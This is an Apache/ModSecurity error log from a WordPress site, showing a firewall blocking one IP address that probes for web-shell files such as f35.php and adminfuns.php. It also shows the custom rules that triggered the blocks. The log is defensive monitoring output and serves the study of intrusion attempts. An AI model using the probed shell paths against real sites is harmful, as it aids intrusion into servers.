[Sat Apr 25 21:02:57.055544 2026] [:error] [pid 3212:tid 3227] [client 74.248.33.118:59843] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aey7gfg-28TY8_YLtUcm3gAAAQ0"]
[Sat Apr 25 21:02:58.534658 2026] [:error] [pid 3212:tid 3219] [client 74.248.33.118:59778] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aey7gvg-28TY8_YLtUcm5wAAAQU"]
[Sat Apr 25 21:02:59.569469 2026] [:error] [pid 3212:tid 3229] [client 74.248.33.118:59858] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aey7g_g-28TY8_YLtUcm7AAAAQ8"]
[Sat Apr 25 21:03:00.608716 2026] [:error] [pid 3212:tid 3221] [client 74.248.33.118:56186] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aey7hPg-28TY8_YLtUcm7wAAAQc"]
[Sat Apr 25 21:03:02.279143 2026] [:error] [pid 59896:tid 59905] [client 74.248.33.118:59825] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aey7hrLLzhtkd-OXUgDp3gAAAEU"]
[Sat Apr 25 21:03:03.944654 2026] [:error] [pid 3212:tid 3218] [client 74.248.33.118:61871] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aey7h_g-28TY8_YLtUcm9gAAAQQ"]
[Sat Apr 25 21:03:04.858088 2026] [:error] [pid 3212:tid 3222] [client 74.248.33.118:59875] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aey7iPg-28TY8_YLtUcm-gAAAQg"]
[Sat Apr 25 21:03:06.531905 2026] [:error] [pid 59985:tid 59989] [client 74.248.33.118:59871] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aey7igF_zDvEhKvyTH6qVQAAAAI"]
[Sat Apr 25 21:03:07.587492 2026] [:error] [pid 59897:tid 59940] [client 74.248.33.118:59855] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aey7i_BrrkdzpEbmK4eA9AAAAI0"]
[Sat Apr 25 21:03:08.227087 2026] [:error] [pid 59985:tid 60005] [client 74.248.33.118:59845] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aey7jAF_zDvEhKvyTH6qWQAAABI"]
[Sat Apr 25 21:03:08.997150 2026] [:error] [pid 59896:tid 59921] [client 74.248.33.118:61861] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aey7jLLLzhtkd-OXUgDp4wAAAFU"]
[Sat Apr 25 21:03:09.736493 2026] [:error] [pid 59897:tid 59945] [client 74.248.33.118:58424] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aey7jfBrrkdzpEbmK4eA9gAAAJI"]
[Sat Apr 25 21:03:10.388542 2026] [:error] [pid 59898:tid 59968] [client 74.248.33.118:58616] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aey7jh-4vImxb0kbdzeo7QAAAM4"]
[Sat Apr 25 21:03:11.097184 2026] [:error] [pid 59985:tid 60004] [client 74.248.33.118:58512] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aey7jwF_zDvEhKvyTH6qYQAAABE"]
[Sat Apr 25 21:03:11.821802 2026] [:error] [pid 59985:tid 60002] [client 74.248.33.118:56251] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aey7jwF_zDvEhKvyTH6qZQAAAA8"]
[Sat Apr 25 21:03:12.525573 2026] [:error] [pid 59897:tid 59949] [client 74.248.33.118:56166] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aey7kPBrrkdzpEbmK4eA-gAAAJY"]
[Sat Apr 25 21:03:13.432060 2026] [:error] [pid 3212:tid 3218] [client 74.248.33.118:58617] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aey7kfg-28TY8_YLtUcnBAAAAQQ"]
[Sat Apr 25 21:03:14.585537 2026] [:error] [pid 59896:tid 59920] [client 74.248.33.118:61506] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aey7krLLzhtkd-OXUgDp7AAAAFQ"]
[Sat Apr 25 21:03:15.764245 2026] [:error] [pid 3212:tid 3229] [client 74.248.33.118:61824] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aey7k_g-28TY8_YLtUcnCAAAAQ8"]
[Sat Apr 25 21:03:16.368285 2026] [:error] [pid 3212:tid 3226] [client 74.248.33.118:58400] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aey7lPg-28TY8_YLtUcnDQAAAQw"]
[Sat Apr 25 21:03:17.238699 2026] [:error] [pid 3212:tid 3215] [client 74.248.33.118:61828] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aey7lfg-28TY8_YLtUcnEQAAAQE"]
[Sat Apr 25 21:03:18.423775 2026] [:error] [pid 59985:tid 60005] [client 74.248.33.118:59824] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aey7lgF_zDvEhKvyTH6qaAAAABI"]
[Sat Apr 25 21:03:19.605183 2026] [:error] [pid 59985:tid 59987] [client 74.248.33.118:61522] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aey7lwF_zDvEhKvyTH6qagAAAAA"]
[Sat Apr 25 21:03:20.559416 2026] [:error] [pid 59897:tid 59944] [client 74.248.33.118:59779] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aey7mPBrrkdzpEbmK4eBBgAAAJE"]
[Sat Apr 25 21:03:21.623396 2026] [:error] [pid 3212:tid 3235] [client 74.248.33.118:61833] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aey7mfg-28TY8_YLtUcnGQAAARU"]
[Sat Apr 25 21:03:23.259568 2026] [:error] [pid 59896:tid 59904] [client 74.248.33.118:61854] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aey7m7LLzhtkd-OXUgDp_wAAAEQ"]
[Sat Apr 25 21:03:24.416530 2026] [:error] [pid 59897:tid 59946] [client 74.248.33.118:58511] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aey7nPBrrkdzpEbmK4eBCgAAAJM"]
[Sat Apr 25 21:03:25.832142 2026] [:error] [pid 59985:tid 60010] [client 74.248.33.118:58518] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aey7nQF_zDvEhKvyTH6qbwAAABc"]
[Sat Apr 25 21:03:26.709177 2026] [:error] [pid 59896:tid 59910] [client 74.248.33.118:56168] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aey7nrLLzhtkd-OXUgDqAwAAAEo"]
[Sat Apr 25 21:03:27.907939 2026] [:error] [pid 3212:tid 3231] [client 74.248.33.118:57287] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aey7n_g-28TY8_YLtUcnIwAAARE"]
[Sat Apr 25 21:03:28.754616 2026] [:error] [pid 3212:tid 3237] [client 74.248.33.118:59786] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aey7oPg-28TY8_YLtUcnJAAAARc"]
[Sat Apr 25 21:04:05.030768 2026] [autoindex:error] [pid 59896:tid 59922] [client 74.248.33.118:57251] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:04:09.230642 2026] [autoindex:error] [pid 59896:tid 59915] [client 74.248.33.118:57251] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:04:26.047139 2026] [:error] [pid 59896:tid 59913] [client 74.248.33.118:57251] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aey72rLLzhtkd-OXUgDqdAAAAE0"]
[Sat Apr 25 21:04:27.141818 2026] [:error] [pid 59898:tid 59957] [client 74.248.33.118:58546] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aey72x-4vImxb0kbdzepDwAAAMM"]
[Sat Apr 25 21:04:27.877840 2026] [:error] [pid 59898:tid 59975] [client 74.248.33.118:58568] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aey72x-4vImxb0kbdzepEQAAANU"]
[Sat Apr 25 21:04:28.779135 2026] [:error] [pid 59985:tid 59987] [client 74.248.33.118:58586] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aey73AF_zDvEhKvyTH6q8QAAAAA"]
[Sat Apr 25 21:04:29.578699 2026] [:error] [pid 3212:tid 3220] [client 74.248.33.118:58572] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aey73fg-28TY8_YLtUcndQAAAQY"]
[Sat Apr 25 21:04:30.658893 2026] [:error] [pid 59897:tid 59937] [client 74.248.33.118:61839] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aey73vBrrkdzpEbmK4eBuQAAAIo"]
[Sat Apr 25 21:04:31.398784 2026] [:error] [pid 3212:tid 3237] [client 74.248.33.118:56128] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aey73_g-28TY8_YLtUcneAAAARc"]
[Sat Apr 25 21:04:32.002170 2026] [:error] [pid 59897:tid 59930] [client 74.248.33.118:58588] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aey74PBrrkdzpEbmK4eBvgAAAIM"]
[Sat Apr 25 21:04:32.608818 2026] [:error] [pid 59897:tid 59949] [client 74.248.33.118:57314] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aey74PBrrkdzpEbmK4eBwQAAAJY"]
[Sat Apr 25 21:04:33.293315 2026] [:error] [pid 59897:tid 59933] [client 74.248.33.118:58574] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aey74fBrrkdzpEbmK4eBwwAAAIY"]
[Sat Apr 25 21:04:33.870475 2026] [:error] [pid 59897:tid 59948] [client 74.248.33.118:6149] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aey74fBrrkdzpEbmK4eBxAAAAJU"]
[Sat Apr 25 21:04:34.531990 2026] [:error] [pid 59985:tid 60011] [client 74.248.33.118:58559] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aey74gF_zDvEhKvyTH6rGQAAABg"]
[Sat Apr 25 21:04:35.159631 2026] [:error] [pid 3212:tid 3216] [client 74.248.33.118:57307] [client 74.248.33.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aey74_g-28TY8_YLtUcnfwAAAQI"]
[Sat Apr 25 21:04:35.810212 2026] [:error] [pid 3212:tid 3224] [client 74.248.33.118:58581] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aey74_g-28TY8_YLtUcngQAAAQo"]
[Sat Apr 25 21:04:36.501199 2026] [:error] [pid 3212:tid 3220] [client 74.248.33.118:61720] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aey75Pg-28TY8_YLtUcnhwAAAQY"]
[Sat Apr 25 21:04:37.243587 2026] [:error] [pid 59896:tid 59904] [client 74.248.33.118:57216] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aey75bLLzhtkd-OXUgDqfgAAAEQ"]
[Sat Apr 25 21:04:38.062854 2026] [:error] [pid 3212:tid 3228] [client 74.248.33.118:58548] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aey75vg-28TY8_YLtUcnlwAAAQ4"]
[Sat Apr 25 21:04:38.810677 2026] [:error] [pid 59896:tid 59919] [client 74.248.33.118:58590] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aey75rLLzhtkd-OXUgDqhQAAAFM"]
[Sat Apr 25 21:04:39.609320 2026] [:error] [pid 59898:tid 59965] [client 74.248.33.118:58503] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aey75x-4vImxb0kbdzepFgAAAMs"]
[Sat Apr 25 21:04:40.220941 2026] [:error] [pid 3212:tid 3231] [client 74.248.33.118:61552] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aey76Pg-28TY8_YLtUcnnwAAARE"]
[Sat Apr 25 21:04:40.786765 2026] [:error] [pid 3212:tid 3230] [client 74.248.33.118:58497] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aey76Pg-28TY8_YLtUcnowAAARA"]
[Sat Apr 25 21:04:41.356703 2026] [:error] [pid 59897:tid 59947] [client 74.248.33.118:61876] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aey76fBrrkdzpEbmK4eB0QAAAJQ"]
[Sat Apr 25 21:04:43.576366 2026] [:error] [pid 59897:tid 59944] [client 74.248.33.118:59839] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aey76_BrrkdzpEbmK4eB2AAAAJE"]
